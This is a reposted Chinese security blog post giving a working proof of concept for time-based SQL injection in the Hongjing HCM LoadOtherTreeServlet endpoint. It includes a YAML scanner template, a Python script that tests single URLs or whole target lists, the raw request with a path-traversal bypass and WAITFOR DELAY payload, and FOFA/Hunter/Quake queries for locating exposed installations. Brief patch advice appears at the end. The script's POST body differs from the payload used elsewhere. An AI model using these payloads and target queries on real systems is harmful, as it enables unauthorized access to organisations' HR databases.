宏景HCM-LoadOtherTreeServlet SQL注入 poc

admin 2024年7月10日12:10:08评论19 views字数 3468阅读11分33秒阅读模式

 

POC(Yaml&Python)

话不多说先上POC(Yam-poc由yakit或ProjectDiscovery Cloud Platform生成,Python-poc脚本由chatgpt生成,准确性请自测,如您觉得有用,请动动小手点个关注,为您每天更新最新漏洞POC)

  • 「Yaml」
id: hongjing-hcm-LoadOtherTreeServlet-sqli

info:
name: 宏景HCM-LoadOtherTreeServlet-sql注入漏洞
author: god
severity: high
description: 宏景HCM-LoadOtherTreeServlet-sql注入漏洞
metadata:
fofa-query: app="HJSOFT-HCM"
tags: hongjing,hcm,sqli

http:
- raw:
- |+
@timeout: 30s
GET /w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close

max-redirects: 3
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'duration>=4 && duration<6'
condition: and

宏景HCM-LoadOtherTreeServlet  SQL注入 poc

宏景HCM-LoadOtherTreeServlet  SQL注入 poc

  • 「Python」
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author  : 浅梦安全
import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarning

RED = '�33[91m'
RESET = '�33[0m'
# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_vulnerability(url):
try:
# 构造完整的攻击URL
attack_url = url.rstrip('/') + "/w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1"
attack_payload = """usertable=h00&usernumber=1&i9999=-1';WAITFOR+DELAY+'0:0:6'--+"""

headers = {
'Content-Type''application/x-www-form-urlencoded'
}

start_time = time.time()
response = requests.post(attack_url, headers=headers, data=attack_payload, verify=False, timeout=10)
elapsed_time = time.time() - start_time

if 4 < elapsed_time < 6:
print(f"{RED}URL [{url}] 可能存在宏景HCM-LoadOtherTreeServlet-sql注入漏洞{RESET}")
else:
print(f"URL [{url}] 不存在漏洞")
except requests.exceptions.Timeout:
print(f"URL [{url}] 请求超时,可能存在漏洞")
except requests.RequestException as e:
print(f"URL [{url}] 请求失败: {e}")

def main():
parser = argparse.ArgumentParser(description='检测目标地址是否宏景HCM-LoadOtherTreeServlet-sql注入漏洞')
parser.add_argument('-u''--url', help='指定目标地址')
parser.add_argument('-f''--file', help='指定包含目标地址的文本文件')

args = parser.parse_args()

if args.url:
if not args.url.startswith("http://"and not args.url.startswith("https://"):
args.url = "http://" + args.url
check_vulnerability(args.url)
elif args.file:
with open(args.file, 'r'as file:
urls = file.read().splitlines()
for url in urls:
if not url.startswith("http://"and not url.startswith("https://"):
url = "http://" + url
check_vulnerability(url)

if __name__ == '__main__':
main()

宏景HCM-LoadOtherTreeServlet  SQL注入 poc

漏洞介绍

宏景HCM人力资源信息管理系统是一款全面覆盖人力资源管理各模块的软件,旨在帮助企事业单位构建高绩效组织,推动组织健康成长,提升组织软实力。其LoadOtherTreeServlet接口处对传入的数据没有预编译和充足的校验,导致该接口存在SQL注入漏洞,未授权的攻击者可获取数据库敏感信息。

宏景HCM-LoadOtherTreeServlet  SQL注入 poc

资产测绘

  • 「Fofa」

app="HJSOFT-HCM"

  • 「Hunter」

app.name="宏景 HCM"

  • 「Quake」

app: "宏景-HCM"

宏景HCM-LoadOtherTreeServlet  SQL注入 poc

漏洞复现

「1、构造数据包」

GET /w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1 HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close

 

「2、查看返回包响应时间」

宏景HCM-LoadOtherTreeServlet  SQL注入 poc

修复方案

  • 官方已发布安全补丁,建议联系厂商打补丁或升级版本。
  • 引入Web应用防火墙防护,配置接口拦截策略。

 

原文始发于微信公众号(浅梦安全):【漏洞复现|含POC】宏景HCM-LoadOtherTreeServlet SQL注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月10日12:10:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   宏景HCM-LoadOtherTreeServlet SQL注入 pochttps://cn-sec.com/archives/2938265.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息